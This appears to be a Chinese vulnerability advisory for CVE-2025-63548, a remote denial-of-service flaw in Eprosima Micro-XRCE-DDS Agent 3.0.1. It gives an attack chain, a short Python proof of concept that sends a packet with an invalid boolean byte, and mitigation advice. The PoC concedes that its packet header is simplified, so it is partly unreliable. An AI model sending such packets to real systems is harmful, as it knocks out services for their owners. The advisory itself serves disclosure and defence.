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CVE-2025-63548 CVSS 7.5 高危

CVE-2025-63548 Eprosima Micro-XRCE-DDS Agent拒绝服务漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2025-63548
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eprosima Micro-XRCE-DDS Agent

相关标签

拒绝服务DoSMicro-XRCE-DDSEprosima远程攻击数据验证

漏洞概述

Eprosima Micro-XRCE-DDS Agent v3.0.1版本存在一个安全漏洞,允许远程攻击者通过发送特制的网络数据包来触发拒绝服务条件。该漏洞的根本原因在于Agent未能正确验证数据包中布尔字段的有效性。由于攻击无需认证且无需用户交互,攻击者可轻易利用此漏洞导致目标服务崩溃或不可用,严重影响系统的可用性。

技术细节

该漏洞位于Eprosima Micro-XRCE-DDS Agent 3.0.1的数据包处理逻辑中。Micro-XRCE-DDS Agent是DDS(数据分发服务)协议的一种轻量级实现,常用于嵌入式系统与ROS2等环境的通信。在解析接收到的数据包时,程序未对布尔类型字段进行严格的边界检查或有效性验证。攻击者可以构造一个包含非标准布尔值(例如非0或1的数值,如0x02或0xFF)的数据包发送给Agent。当Agent解析该字段时,由于逻辑处理错误,可能导致内存访问越界、异常抛出未捕获或进入死循环,最终导致Agent进程崩溃或停止响应,造成拒绝服务。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放在默认端口(如8888)的Eprosima Micro-XRCE-DDS Agent v3.0.1服务。
STEP 2
构造载荷
攻击者创建一个特制的网络数据包,在协议规定的布尔字段位置填入非有效值(例如0x02)。
STEP 3
发送攻击
攻击者通过网络将特制数据包发送给目标Agent,无需任何身份认证。
STEP 4
触发漏洞
目标Agent解析数据包时因布尔值校验失败而发生异常,导致服务崩溃或挂起。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 8888 # Default Micro XRCE-DDS Agent port def send_exploit(): """ PoC for CVE-2025-63548. Sends a crafted packet with an invalid boolean value to trigger DoS. Note: The actual packet structure depends on the specific sub-protocol used. This example demonstrates sending a malformed payload. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Constructing a malicious packet # Header (simplified for demonstration) # Using a magic byte or header that the agent expects packet_header = b'\x01\x00\x00\x00' # Payload containing invalid boolean value (e.g., 0x02) # Normal booleans are 0x00 (False) or 0x01 (True) # Placing 0x02 in a boolean field triggers the vulnerability invalid_boolean = b'\x02' padding = b'\x00' * 50 payload = packet_header + invalid_boolean + padding print(f"[*] Sending malformed packet to {TARGET_HOST}:{TARGET_PORT}...") s.send(payload) print("[+] Packet sent. Check if the Agent has crashed.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_exploit()

影响范围

Eprosima Micro-XRCE-DDS Agent 3.0.1

防御指南

临时缓解措施
建议用户尽快检查当前使用的Micro-XRCE-DDS Agent版本。如果确认是受影响的v3.0.1版本,应立即升级至官方修复版本。在无法立即升级的情况下,应配置防火墙规则,阻断外部网络对Agent服务端口的访问,仅允许受信任的内部IP地址连接,以降低被远程攻击的风险。

参考链接

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